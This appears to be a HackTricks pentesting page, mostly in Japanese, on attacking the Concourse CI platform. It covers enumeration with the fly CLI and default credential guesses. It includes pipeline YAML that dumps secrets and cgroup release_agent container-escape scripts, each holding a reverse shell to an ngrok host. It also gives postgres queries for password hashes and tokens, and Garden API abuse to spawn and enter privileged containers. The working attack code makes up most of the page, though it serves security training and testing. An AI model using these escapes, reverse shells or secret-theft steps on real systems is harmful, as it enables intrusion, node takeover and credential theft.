23 KiB
Concourse Enumeration & Attacks
{{#include ../../banners/hacktricks-training.md}}
Concourse Enumeration & Attacks
User Roles & Permissions
Concourseには5つの役割があります:
- Concourse Admin: この役割はメインチーム(デフォルトの初期concourseチーム)の所有者にのみ与えられます。管理者は他のチームを構成できます(例:
fly set-team、fly destroy-team...)。この役割の権限はRBACによって影響を受けません。 - owner: チームの所有者はチーム内のすべてを変更できます。
- member: チームメンバーはチームの資産内で読み書きできますが、チーム設定を変更することはできません。
- pipeline-operator: パイプラインオペレーターはビルドのトリガーやリソースのピン留めなどのパイプライン操作を実行できますが、パイプライン設定を更新することはできません。
- viewer: チームのビューワーはチームとそのパイプラインに**「読み取り専用」アクセス**を持っています。
Note
さらに、owner、member、pipeline-operator、viewerの役割の権限はRBACを構成することで変更できます(具体的にはそのアクションを構成します)。詳細については、https://concourse-ci.org/user-roles.htmlを参照してください。
Concourseはチーム内にパイプラインをグループ化します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、複数のチームが存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。
Vars & Credential Manager
YAML構成では、((_source-name_:_secret-path_._secret-field_))という構文を使用して値を構成できます。
ドキュメントから: source-nameはオプションであり、省略した場合はクラスター全体の資格情報マネージャーが使用されるか、値が静的に提供される場合があります。
オプションの_secret-fieldは、取得した秘密から読み取るフィールドを指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択する場合があります。
さらに、_secret-pathとsecret-field_は、。や:のような特殊文字を含む場合、二重引用符"..."で囲むことができます。たとえば、((source:"my.secret"."field:1"))は、_secret-path_をmy.secretに、_secret-field_をfield:1に設定します。
Static Vars
静的変数はタスクステップで指定できます:
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
Or using the following fly arguments:
-vまたは--varNAME=VALUEは、文字列VALUEを変数NAMEの値として設定します。-yまたは--yaml-varNAME=VALUEは、VALUEを YAML として解析し、変数NAMEの値として設定します。-iまたは--instance-varNAME=VALUEは、VALUEを YAML として解析し、インスタンス変数NAMEの値として設定します。インスタンス変数について詳しくは Grouping Pipelines を参照してください。-lまたは--load-vars-fromFILEは、変数名と値のマッピングを含む YAML ドキュメントFILEを読み込み、すべてを設定します。
Credential Management
パイプラインで Credential Manager を指定する方法 はいくつかあります。詳細は https://concourse-ci.org/creds.html をお読みください。
さらに、Concourse はさまざまな資格情報マネージャーをサポートしています:
- The Vault credential manager
- The CredHub credential manager
- The AWS SSM credential manager
- The AWS Secrets Manager credential manager
- Kubernetes Credential Manager
- The Conjur credential manager
- Caching credentials
- Redacting credentials
- Retrying failed fetches
Caution
Concourse に対して 書き込みアクセス がある場合、それらの秘密を外部に持ち出す ジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。
Concourse Enumeration
Concourse 環境を列挙するには、まず 有効な資格情報を収集する か、.flyrc 設定ファイルにある 認証トークンを見つける 必要があります。
Login and Current User enum
- ログインするには、エンドポイント、チーム名(デフォルトは
main)、および ユーザーが所属するチーム を知っている必要があります: fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]- 設定された ターゲット を取得:
fly targets- 設定された ターゲット接続 がまだ 有効 かどうかを確認:
fly -t <target> status- 指定されたターゲットに対するユーザーの 役割 を取得:
fly -t <target> userinfo
Note
API トークン はデフォルトで
$HOME/.flyrcに 保存 されます。マシンを略奪する際に、そこに資格情報が見つかる可能性があります。
Teams & Users
- チームのリストを取得:
fly -t <target> teams- チーム内の役割を取得:
fly -t <target> get-team -n <team-name>- ユーザーのリストを取得:
fly -t <target> active-users
Pipelines
- パイプラインのリスト:
fly -t <target> pipelines -a- パイプラインの YAML を 取得(定義に 機密情報 が含まれている可能性があります):
fly -t <target> get-pipeline -p <pipeline-name>- すべてのパイプラインの 設定された変数 を取得:
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done- 使用されているすべての パイプラインの秘密の名前 を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、それらを外部に持ち出すことができます):
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
コンテナとワーカー
- ワーカーのリスト:
fly -t <target> workers- コンテナのリスト:
fly -t <target> containers- ビルドのリスト(実行中のものを確認するため):
fly -t <target> builds
Concourse攻撃
認証情報ブルートフォース
- admin:admin
- test:test
シークレットとパラメータの列挙
前のセクションでは、パイプラインで使用されるすべてのシークレット名と変数を取得する方法を見ました。変数には機密情報が含まれている可能性があり、シークレットの名前は後でそれらを盗むために役立ちます。
実行中または最近実行されたコンテナ内のセッション
十分な権限(メンバー役割以上)があれば、パイプラインと役割をリストし、次のコマンドを使用して**/** コンテナ内にセッションを取得できます:
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
これらの権限があれば、次のことができるかもしれません:
- コンテナ内の秘密を盗む
- ノードにエスケープしようとする
- クラウドメタデータエンドポイントを列挙/悪用する(ポッドおよびノードから、可能であれば)
パイプラインの作成/変更
十分な権限(メンバー役割以上)があれば、新しいパイプラインを作成/変更することができます。次の例を確認してください:
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
新しいパイプラインの変更/作成により、次のことが可能になります:
- 秘密を盗む(それらをエコー出力するか、コンテナ内に入り
envを実行することで) - ノードにエスケープする(十分な権限を与えることで -
privileged: true) - クラウドメタデータエンドポイントを列挙/悪用する(ポッドおよびノードから)
- 作成したパイプラインを削除する
カスタムタスクの実行
これは前の方法に似ていますが、全く新しいパイプラインを変更/作成する代わりに、カスタムタスクを実行するだけで済みます(おそらくはるかにステルス性が高いでしょう):
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml
特権タスクからノードへのエスケープ
前のセクションでは、concourseで特権タスクを実行する方法を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープは「複雑」になる可能性があります。
次のPoCでは、いくつかの小さな変更を加えてrelease_agentを使用してエスケープします:
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)
## Then next part I think is constant "hostpath-provisioner/default/"
## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for
# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Warning
ご覧の通り、これは単なる通常のrelease_agentエスケープであり、ノード内のcmdのパスを変更するだけです。
Workerコンテナからノードへのエスケープ
このためには、わずかな修正を加えた通常のrelease_agentエスケープで十分です:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Webコンテナからノードへのエスケープ
Webコンテナにいくつかの防御が無効になっていても、一般的な特権コンテナとして実行されていません(例えば、マウントできず、能力は非常に制限されています。そのため、コンテナからエスケープするための簡単な方法は無駄です)。
しかし、ローカルの資格情報が平文で保存されています:
cat /concourse-auth/local-users
test:test
env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
その資格情報を使用してウェブサーバーにログインし、特権コンテナを作成してノードにエスケープすることができます。
環境内では、concourseが使用するpostgresqlインスタンスにアクセスするための情報(アドレス、ユーザー名、パスワード、およびデータベースなどの情報)も見つけることができます:
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]
# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
ガーデンサービスの悪用 - 実際の攻撃ではない
Warning
これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。
デフォルトでは、各concourseワーカーはポート7777でGardenサービスを実行します。このサービスは、ウェブマスターがワーカーに実行する必要があること(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります:
- それはローカルにのみ公開されています(127.0.0.1)し、ワーカーが特別なSSHサービスでウェブに対して認証するときに、ウェブサーバーが各ワーカー内の各Gardenサービスと話すためのトンネルが作成されると思います。
- ウェブサーバーは数秒ごとに実行中のコンテナを監視しており、予期しないコンテナは削除されます。したがって、カスタムコンテナを実行したい場合は、ウェブサーバーとガーデンサービス間の通信を改ざんする必要があります。
Concourseワーカーは高いコンテナ特権で実行されます:
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
しかし、ノードの/devデバイスやrelease_agentをマウントするような技術は機能しません(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみが存在します)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出するのは複雑になります。
Note
前のセクションでは特権コンテナから脱出する方法を見ましたので、現在の ワーカーによって作成された特権コンテナでコマンドを実行できる場合、ノードに脱出できる可能性があります。
concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。
実行中の特権コンテナに入る
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
新しい特権コンテナの作成
ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます:
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
しかし、ウェブサーバーは数秒ごとに実行中のコンテナをチェックしており、予期しないコンテナが発見されると削除されます。通信がHTTPで行われているため、予期しないコンテナの削除を回避するために通信を改ざんすることができます:
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
参考文献
{{#include ../../banners/hacktricks-training.md}}